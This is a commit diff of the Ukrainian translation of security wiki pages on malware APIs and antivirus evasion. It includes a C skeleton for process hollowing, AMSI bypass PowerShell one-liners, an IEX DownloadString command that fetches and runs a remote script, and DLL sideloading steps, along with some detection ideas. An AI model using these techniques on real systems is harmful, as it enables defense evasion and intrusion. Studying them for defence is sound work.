Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-

This commit is contained in:
Translator 2025-08-18 12:20:51 +00:00
parent 0935cb5876
commit 37e93ec791
2 changed files with 168 additions and 82 deletions

View File

@ -30,7 +30,7 @@
### Шифрування
| Назва |
| --------------------- |
| --------------------- |
| WinCrypt |
| CryptAcquireContext() |
| CryptGenKey() |
@ -47,9 +47,9 @@
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Перевірка, чи запущено процес] | |
| CreateFileW/A \[Перевірка, чи існує файл] | |
| CreateFileW/A \[Перевірка, чи існує файл] | |
### Непомітність
### Схованість
| Назва | |
| ------------------------ | -------------------------------------------------------------------------- |
@ -58,7 +58,7 @@
| ReadProcessMemory | Ін'єкція в зовнішні процеси |
| WriteProcessMemoryA/W | Ін'єкція в зовнішні процеси |
| NtWriteVirtualMemory | |
| CreateRemoteThread | Ін'єкція DLL/процесів... |
| CreateRemoteThread | Ін'єкція DLL/процесу... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
@ -99,12 +99,12 @@
Інші функції для використання: NTCreateThreadEx, RtlCreateUserThread
### Рефлексивна ін'єкція DLL
### Відображувана ін'єкція DLL
Завантажити шкідливу DLL без виклику звичайних API Windows.\
DLL відображається всередині процесу, вона вирішить адреси імпорту, виправить переміщення та викличе функцію DllMain.
### Викрадення потоку
### Захоплення потоку
Знайти потік з процесу та змусити його завантажити шкідливу DLL
@ -116,24 +116,75 @@ DLL відображається всередині процесу, вона в
### Ін'єкція PE
Ін'єкція Portable Execution: Виконуваний файл буде записаний у пам'яті процесу жертви і буде виконаний звідти.
Ін'єкція Portable Execution: Виконуваний файл буде записаний у пам'яті процесу жертви і буде виконуватися звідти.
### Порожнє процесу
### Порожнє процесу (також відоме як **RunPE**)
Шкідливе ПЗ видалить легітимний код з пам'яті процесу та завантажить шкідливий бінарний файл
`Process Hollowing` є одним з улюблених трюків **обходу захисту / виконання**, що використовуються шкідливим ПЗ для Windows. Ідея полягає в тому, щоб запустити *легітимний* процес у **призупиненому** стані, видалити (порожнє) його оригінальне зображення з пам'яті та скопіювати **довільний PE** на його місце. Коли первинний потік нарешті відновлюється, шкідливий вхідний пункт виконується під виглядом довіреного бінарного файлу (часто підписаного Microsoft).
1. Створити новий процес: CreateProcess
2. Видалити пам'ять: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Записати шкідливий бінарний файл у пам'ять процесу: VirtualAllocEc, WriteProcessMemory
4. Встановити точку входу та виконати: SetThreadContext, ResumeThread
Типовий робочий процес:
1. Запустити доброзичливий хост (наприклад, `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **призупиненим**, щоб жодні інструкції ще не виконувалися.
```c
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```
2. Прочитати шкідливий вантаж у пам'ять і розібрати його PE заголовки, щоб отримати `SizeOfImage`, секції та новий `EntryPoint`.
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** зняти відображення оригінальної бази зображення призупиненого процесу.
4. **VirtualAllocEx** зарезервувати RWX пам'ять `SizeOfImage` всередині віддаленого процесу.
5. **WriteProcessMemory** спочатку скопіювати `Headers`, а потім пройтися по секціях, копіюючи їх сирі дані.
6. **SetThreadContext** виправити значення `EAX/RAX` (`RCX` на x64) або `Rip` у структурі контексту, щоб `EIP` вказував на `EntryPoint` вантажу.
7. **ResumeThread** потік продовжує виконання, виконуючи код, наданий атакуючим.
Мінімальний доказ концепції (x86) скелет:
```c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}
```
Практичні нотатки, спостережені в кампанії **DarkCloud Stealer**:
* Завантажувач вибрав `RegAsm.exe` (частина .NET Framework) як хост підписаний бінарний файл, який навряд чи приверне увагу.
* Розшифрований VB6 крадій (`holographies.exe`) *не* скидається на диск; він існує лише всередині порожнього процесу, що ускладнює статичне виявлення.
* Чутливі рядки (regex, шляхи, облікові дані Telegram) **RC4-зашифровані** для кожного рядка і розшифровуються лише під час виконання, що ще більше ускладнює сканування пам'яті.
Ідеї для виявлення:
* Сповіщати про процеси `CREATE_SUSPENDED`, які ніколи не створюють GUI/консольні вікна перед тим, як область пам'яті буде виділена як **RWX** (рідко для доброчинного коду).
* Шукати послідовність викликів `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` в різних процесах.
## Хукінг
- **SSDT** (**System Service Descriptor Table**) вказує на функції ядра (ntoskrnl.exe) або драйвера GUI (win32k.sys), щоб користувацькі процеси могли викликати ці функції.
- Руткіт може змінити ці вказівники на адреси, які він контролює.
- Руткіт може змінювати ці вказівники на адреси, які він контролює.
- **IRP** (**I/O Request Packets**) передають частини даних з одного компонента в інший. Практично все в ядрі використовує IRP, і кожен об'єкт пристрою має свою власну таблицю функцій, яку можна підключити: DKOM (Direct Kernel Object Manipulation).
- **IAT** (**Import Address Table**) корисний для вирішення залежностей. Можливо підключити цю таблицю, щоб перехопити код, який буде викликано.
- **EAT** (**Export Address Table**) Хуки. Ці хуки можуть бути виконані з **userland**. Мета - підключити експортовані функції бібліотек DLL.
- **IAT** (**Import Address Table**) корисний для вирішення залежностей. Можливо підключити цю таблицю, щоб перехопити код, який буде викликаний.
- **EAT** (**Export Address Table**) Хуки. Ці хуки можна робити з **userland**. Мета полягає в тому, щоб підключити експортовані функції DLL.
- **Inline Hooks**: Цей тип важко досягти. Це передбачає модифікацію коду самих функцій. Можливо, шляхом вставлення стрибка на початку цього.
## Посилання
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -10,44 +10,44 @@
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент для зупинки роботи Windows Defender, підробляючи інший AV.
- [Вимкніть Defender, якщо ви адміністратор](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
## **Методологія ухилення від AV**
Наразі AV використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.
### **Static detection**
### **Статичне виявлення**
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, значок, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до швидшого виявлення, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:
- **Encryption**
- **Шифрування**
Якщо ви зашифруєте бінарний файл, AV не зможе виявити вашу програму, але вам знадобиться якийсь завантажувач для розшифровки та виконання програми в пам'яті.
- **Obfuscation**
- **Обфускація**
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся замаскувати.
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.
- **Custom tooling**
- **Користувацькі інструменти**
Якщо ви розробите свої власні інструменти, не буде відомих шкідливих підписів, але це вимагає багато часу та зусиль.
Якщо ви розробите свої власні інструменти, не буде відомих поганих підписів, але це потребує багато часу та зусиль.
> [!TIP]
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти були позначені у вашому бінарному файлі.
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно вказати, які рядки або байти були позначені у вашому бінарному файлі.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичне обходження AV.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичне ухилення від AV.
### **Dynamic analysis**
### **Динамічний аналіз**
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб обійти пісочниці.
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
- **Sleep before execution** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих затримок може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити затримку, залежно від того, як це реалізовано.
- **Checking machine's resources** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2GB RAM), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Machine-specific checks** Якщо ви хочете націлитися на користувача, чий робочий стіл приєднаний до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
- **Сон перед виконанням** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити сон, залежно від того, як це реалізовано.
- **Перевірка ресурсів машини** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Перевірки, специфічні для машини** Якщо ви хочете націлитися на користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому ПЗ перед детонацією, якщо ім'я збігається з HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити вашу програму вийти.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>джерело: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Декілька інших дійсно хороших порад від [@mgeeky](https://twitter.com/mariuszbit) для обходу пісочниць
Декілька інших дійсно хороших порад від [@mgeeky](https://twitter.com/mariuszbit) для боротьби з пісочницями
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev канал</p></figcaption></figure>
@ -58,23 +58,23 @@
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект супер класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
> [!TIP]
> Коли ви модифікуєте свої корисні навантаження для обходу, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти обходу в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше корисне навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
> Коли ви модифікуєте свої корисні навантаження для ухилення, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти ухилення в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше корисне навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
## EXEs vs DLLs
## EXEs проти DLLs
Коли це можливо, завжди **надавайте перевагу використанню DLL для обходу**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, щоб уникнути виявлення в деяких випадках (якщо ваше корисне навантаження має якийсь спосіб виконання як DLL, звичайно).
Коли це можливо, завжди **надавайте перевагу використанню DLL для ухилення**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваше корисне навантаження має якийсь спосіб виконання як DLL, звичайно).
Як ми можемо бачити на цьому зображенні, корисне навантаження DLL від Havoc має рівень виявлення 4/26 на antiscan.me, тоді як корисне навантаження EXE має рівень виявлення 7/26.
Як ми можемо бачити на цьому зображенні, навантаження DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як навантаження EXE має рівень виявлення 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння antiscan.me звичайного корисного навантаження Havoc EXE та звичайного Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння antiscan.me звичайного навантаження Havoc EXE проти звичайного навантаження Havoc DLL</p></figcaption></figure>
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.
## DLL Sideloading & Proxying
## Завантаження DLL та проксування
**DLL Sideloading** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі корисні навантаження поруч один з одним.
**Завантаження DLL** використовує переваги порядку пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі навантаження поруч один з одним.
Ви можете перевірити програми, які підлягають DLL Sideloading, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -83,11 +83,11 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
Ця команда виведе список програм, які підлягають DLL hijacking у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Я настійно рекомендую вам **самостійно дослідити програми, які можна піддати DLL Hijackable/Sideloadable**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна піддати DLL Sideloadable, вас можуть легко спіймати.
Я настійно рекомендую вам **самостійно дослідити програми, які можна піддати DLL Hijackable/Sideloadable**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми DLL Sideloadable, вас можуть легко спіймати.
Просто розмістивши шкідливий DLL з ім'ям, яке програма очікує завантажити, не завантажить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цього DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
Просто розмістивши шкідливий DLL з ім'ям, яке програма очікує завантажити, не завантажить ваш payload, оскільки програма очікує деякі специфічні функції всередині цього DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
**DLL Proxying** пересилає виклики, які програма робить з проксі (і шкідливого) DLL до оригінального DLL, таким чином зберігаючи функціональність програми та можливість обробляти виконання вашого вантажу.
**DLL Proxying** пересилає виклики, які програма робить з проксі (і шкідливого) DLL до оригінального DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого payload.
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
@ -106,12 +106,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Обидва наші shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)) та проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
Обидва наші shellcode (закодовані за допомогою [SGN](https://github.com/EgeBalci/sgn)) та проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Я **щиро рекомендую** вам подивитися [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
> Я **щиро рекомендую** вам подивитися [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли лише сканувати **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки у нього не було достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -143,7 +143,7 @@ AMSI був створений для запобігання "[безфайло
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не обфускованою.
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` призведе до появи наступного сповіщення в Windows Defender.
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` викличе наступне сповіщення в Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
@ -161,7 +161,7 @@ AMSI був створений для запобігання "[безфайло
Однак AMSI має можливість розобфускувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
- **Обхід AMSI**
- **AMSI Bypass**
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
@ -171,7 +171,7 @@ AMSI був створений для запобігання "[безфайло
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації для використання цієї техніки.
Ось модифікований обхід AMSI, який я взяв з цього [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
@ -187,11 +187,11 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Зверніть увагу, що це, ймовірно, буде позначено, як тільки цей пост вийде, тому вам не слід публікувати жоден код, якщо ваш план полягає в тому, щоб залишитися непоміченим.
Зверніть увагу, що це, ймовірно, буде позначено, як тільки цей пост вийде, тому не публікуйте жодного коду, якщо ваш план полягає в тому, щоб залишитися непоміченим.
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код E_INVALIDARG, таким чином результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
> [!TIP]
> Будь ласка, прочитайте [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) для більш детального пояснення.
@ -202,7 +202,7 @@ $Spotfix.SetValue($null,$true)
**Remove the detected signature**
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім переписуючи його інструкціями NOP, ефективно видаляючи його з пам'яті.
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім переписує його інструкціями NOP, ефективно видаляючи його з пам'яті.
**AV/EDR products that uses AMSI**
@ -219,27 +219,61 @@ PowerShell logging - це функція, яка дозволяє вам реє
Щоб обійти реєстрацію PowerShell, ви можете використовувати наступні техніки:
- **Вимкнути транскрипцію PowerShell та реєстрацію модулів**: Ви можете використовувати інструмент, такий як [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) для цієї мети.
- **Використовувати версію PowerShell 2**: Якщо ви використовуєте версію PowerShell 2, AMSI не буде завантажено, тому ви можете запускати свої скрипти без сканування AMSI. Ви можете зробити це: `powershell.exe -version 2`
- **Використовувати unmanaged PowerShell сесію**: Використовуйте [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), щоб запустити PowerShell без захисту (це те, що використовує `powerpick` з Cobalt Strike).
- **Вимкнення транскрипції PowerShell та реєстрації модулів**: Ви можете використовувати інструмент, такий як [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) для цієї мети.
- **Використання PowerShell версії 2**: Якщо ви використовуєте PowerShell версії 2, AMSI не буде завантажено, тому ви можете виконувати свої скрипти без сканування AMSI. Ви можете зробити це: `powershell.exe -version 2`
- **Використання unmanaged PowerShell сесії**: Використовуйте [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), щоб запустити PowerShell без захисту (це те, що використовує `powerpick` з Cobalt Strike).
## Obfuscation
> [!TIP]
> Кілька технік обфускації покладаються на шифрування даних, що збільшить ентропію бінарного файлу, що полегшить виявлення його антивірусами та EDR. Будьте обережні з цим і, можливо, застосовуйте шифрування лише до конкретних частин вашого коду, які є чутливими або потребують приховування.
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерації **метапрограмних шаблонів** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
### Deobfuscating ConfuserEx-Protected .NET Binaries
При аналізі шкідливого ПЗ, яке використовує ConfuserEx 2 (або комерційні форки), зазвичай стикаються з кількома шарами захисту, які блокують декомпілери та пісочниці. Наведений нижче робочий процес надійно **відновлює майже оригінальний IL**, який потім можна декомпілювати в C# за допомогою таких інструментів, як dnSpy або ILSpy.
1. Видалення антивандального захисту ConfuserEx шифрує кожне *тіло методу* і розшифровує його всередині статичного конструктора *модуля* (`<Module>.cctor`). Це також патчує контрольну суму PE, тому будь-яка модифікація призведе до збою бінарного файлу. Використовуйте **AntiTamperKiller**, щоб знайти зашифровані таблиці метаданих, відновити ключі XOR і переписати чисту збірку:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Вихідні дані містять 6 параметрів антивандального захисту (`key0-key3`, `nameHash`, `internKey`), які можуть бути корисними при створенні власного розпаковувача.
2. Відновлення символів / контролю потоку подайте *чистий* файл до **de4dot-cex** (форк de4dot, що підтримує ConfuserEx).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Параметри:
`-p crx` вибрати профіль ConfuserEx 2
• de4dot скасує сплющення контролю потоку, відновить оригінальні простори імен, класи та імена змінних і розшифрує постійні рядки.
3. Видалення проксі-викликів ConfuserEx замінює прямі виклики методів легкими обгортками (так званими *проксі-викликами*), щоб ще більше ускладнити декомпіляцію. Видаліть їх за допомогою **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Після цього кроку ви повинні спостерігати звичайні .NET API, такі як `Convert.FromBase64String` або `AES.Create()`, замість непрозорих функцій-обгорток (`Class8.smethod_10`, …).
4. Ручне очищення запустіть отриманий бінарний файл під dnSpy, шукайте великі об'єкти Base64 або використання `RijndaelManaged`/`TripleDESCryptoServiceProvider`, щоб знайти *реальний* корисний вантаж. Часто шкідливе ПЗ зберігає його як масив байтів, закодований TLV, ініціалізований всередині `<Module>.byte_0`.
Вищезгаданий ланцюг відновлює потік виконання **без** необхідності запускати шкідливий зразок корисно при роботі на офлайн-робочій станції.
> 🛈 ConfuserEx створює користувацький атрибут з назвою `ConfusedByAttribute`, який можна використовувати як IOC для автоматичного триажу зразків.
#### One-liner
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Це чудовий відкритий обфускатор для .NET додатків. Він надає різні техніки захисту, такі як обфускація контролю потоку, анти-налагодження, анти-спотворення та шифрування рядків. Рекомендується, оскільки він дозволяє навіть обфускувати конкретні частини коду.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого форка компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від спотворення.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, який здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
